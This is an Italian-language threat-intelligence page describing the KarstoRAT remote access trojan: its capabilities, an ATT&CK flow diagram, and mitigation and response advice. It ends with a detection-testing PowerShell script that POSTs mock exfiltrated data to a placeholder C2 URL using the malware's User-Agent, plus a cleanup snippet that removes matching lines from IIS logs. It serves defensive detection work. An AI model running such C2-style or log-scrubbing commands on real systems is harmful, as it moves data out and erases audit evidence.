SOC Prime Bias: Medio

30 Apr 2026 17:25

Uno Sguardo Approfondito al Nuovo e Furbo Malware KarstoRAT

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Uno Sguardo Approfondito al Nuovo e Furbo Malware KarstoRAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

KarstoRAT è un trojan di accesso remoto recentemente identificato, in grado di raccogliere informazioni sul sistema, catturare flussi audio e video dalla webcam, scattare screenshot, registrare le sequenze di tasti e rubare i token di autenticazione. Il malware mantiene la persistenza, comunica con il suo server di comando e controllo su HTTP attraverso uno specifico agente utente personalizzato, e può recuperare payload aggiuntivi per ulteriori attività. Contiene anche funzioni distruttive, tra cui l’inversione dello schermo e la riproduzione audio forzata.

Investigazione

LevelBlue SpiderLabs ha esaminato il flusso di esecuzione di KarstoRAT, le comunicazioni di comando e controllo, le routine di esfiltrazione e i metodi di persistenza. Il rapporto evidenzia un ciclo infinito di due secondi utilizzato per mantenere il malware in esecuzione e descrive i STARTUP_ON and STARTUP_OFF comandi che controllano il comportamento di avvio automatico. I ricercatori hanno anche documentato la capacità del malware di cambiare lo sfondo del desktop e rimuoversi quanto istruito.

Mitigazione

Gli sforzi di rilevamento dovrebbero concentrarsi sull’unico agente utente HTTP del malware, sulle voci di registro sospette relative all’avvio e sul comportamento anomalo del processo di loop. Le difese degli endpoint dovrebbero anche guardare per l’attività di tipo fileless descritta nel rapporto e bloccare i binari sconosciuti consegnati tramite l’esca del mercato falso di Roblox.

Risposta

Se KarstoRAT viene identificato, isolare il dispositivo interessato, conservare le prove forensi comprese le tracce HTTP e gli artefatti di avvio, e rimuovere tutti i meccanismi di persistenza. Le organizzazioni dovrebbero ruotare le credenziali esposte e continuare a monitorare qualsiasi payload secondario che potrebbe essere stato scaricato dopo il compromesso iniziale.

"graph TB %% Class definitions classDef action fill:#99ccff classDef persistence fill:#ffcc99 classDef credential fill:#ff9999 classDef collection fill:#ccffcc classDef discovery fill:#ccccff classDef impact fill:#ffb347 classDef defense fill:#d3d3d3 %% Node definitions action_user_execution["<b>Azione</b> – <b>T1204.001 Esecuzione Utente: Link Maligno</b><br/>La vittima clicca su un finto link del mercato di Roblox (ingegneria sociale)."] class action_user_execution action persistence_boot_script["<b>Persistenza</b> – <b>T1037 Script di Inizializzazione Boot o Logon</b><br/>Il malware si registra in STARTUP_ON/OFF per essere eseguito automaticamente all’avvio o al logon."] class persistence_boot_script persistence credential_keylogging["<b>Accesso alle Credenziali</b> – <b>T1056.001 Cattura Input: Keylogging</b><br/>Il malware registra le sequenze di tasti per catturare credenziali e altri dati sensibili."] class credential_keylogging credential collection_screen_capture["<b>Raccolta</b> – <b>T1113 Cattura Schermo</b><br/>Il malware cattura periodicamente screenshot del desktop della vittima."] class collection_screen_capture collection collection_audio_capture["<b>Raccolta</b> – <b>T1123 Cattura Audio</b><br/>Il malware registra l’audio dal microfono del sistema."] class collection_audio_capture collection collection_video_capture["<b>Raccolta</b> – <b>T1125 Cattura Video</b><br/>Il malware accede alla webcam per registrare video della vittima."] class collection_video_capture collection discovery_process["<b>Scoperta</b> – <b>T1057 Scoperta Processi</b><br/>Il malware elenca i processi in esecuzione per identificare strumenti di sicurezza o applicazioni di valore."] class discovery_process discovery discovery_hardware["<b>Scoperta</b> – <b>T1592.001 Raccolta Informazioni Host Vittima: Hardware</b><br/>Il malware raccoglie dettagli hardware come CPU, RAM e GPU."] class discovery_hardware discovery discovery_software["<b>Scoperta</b> – <b>T1592.002 Raccolta Informazioni Host Vittima: Software</b><br/>Il malware raccoglie versioni software installate e patch."] class discovery_software discovery discovery_firmware["<b>Scoperta</b> – <b>T1592.003 Raccolta Informazioni Host Vittima: Firmware</b><br/>Il malware estrae informazioni su firmware e BIOS."] class discovery_firmware discovery discovery_config["<b>Scoperta</b> – <b>T1592.004 Raccolta Informazioni Host Vittima: Configurazione Client</b><br/>Il malware raccoglie impostazioni di configurazione come lingua, fuso orario e parametri di rete."] class discovery_config discovery impact_remote_desktop["<b>Impatto</b> – <b>T1219.002 Software di Desktop Remoto</b><br/>Il malware utilizza capacità di desktop remoto per modificare lo sfondo del desktop, rovesciare il display e scambiare i pulsanti del mouse."] class impact_remote_desktop impact defense_self_destruct["<b>Elusione della Difesa</b> – <b>T1027.005 Rimozione Indicatori da Utensili</b><br/>Il malware si autodistrugge e rimuove i suoi file per cancellare le prove."] class defense_self_destruct defense %% Connections action_user_execution –>|conduce_a| persistence_boot_script persistence_boot_script –>|abilita| credential_keylogging credential_keylogging –>|abilita| collection_screen_capture collection_screen_capture –>|abilita| collection_audio_capture collection_audio_capture –>|abilita| collection_video_capture collection_video_capture –>|abilita| discovery_process discovery_process –>|conduce_a| discovery_hardware discovery_hardware –>|conduce_a| discovery_software discovery_software –>|conduce_a| discovery_firmware discovery_firmware –>|conduce_a| discovery_config discovery_config –>|abilita| impact_remote_desktop impact_remote_desktop –>|attiva| defense_self_destruct "

Flusso di Attacco

Esecuzione della Simulazione

Prerequisito: Il controllo pre-volo di Telemetria e Baseline deve essere superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria attesa dalla logica di rilevamento.

  • Narrativa e Comandi di Attacco:
    L’attaccante ha ottenuto un punto d’appoggio nella rete della vittima e desidera stabilire un canale di comando e controllo per KarstoRAT. Per mimetizzarsi con il traffico legittimo, il malware utilizza una stringa User-Agent codificata “SecurityNotifier”. L’attaccante esegue una riga di comando PowerShell sull’host compromesso che emette un HTTP POST al server C2, incorporando l’intestazione UA. La richiesta include un piccolo payload JSON che imita i dati esfiltrati, sufficiente a innescare la regola sigma.

  • Script di Test di Regressione:

    # Simulazione C2 di KarstoRAT – PowerShell
    $c2Url = "http://<webserver>/karsto_c2"
    $payload = @{
        host = $env:COMPUTERNAME
        data = "dati esfiltrati di esempio"
    } | ConvertTo-Json
    
    $headers = @{
        "User-Agent" = "SecurityNotifier"
        "Content-Type" = "application/json"
    }
    
    try {
        Invoke-WebRequest -Uri $c2Url `
                          -Method POST `
                          -Headers $headers `
                          -Body $payload `
                          -UseBasicParsing
        Write-Host "Richiesta C2 inviata."
    } catch {
        Write-Error "Impossibile inviare la richiesta C2: $_"
    }
  • Comandi di Pulizia:

    # Rimuovere la richiesta generata dai log di IIS (richiede diritti di amministratore)
    $logPath = "C:inetpublogsLogFilesW3SVC1"
    Get-ChildItem -Path $logPath -Filter "*.log" | ForEach-Object {
        (Get-Content $_.FullName) |
            Where-Object { $_ -notmatch "SecurityNotifier" } |
            Set-Content $_.FullName
    }
    Write-Host "Log sanitizzati."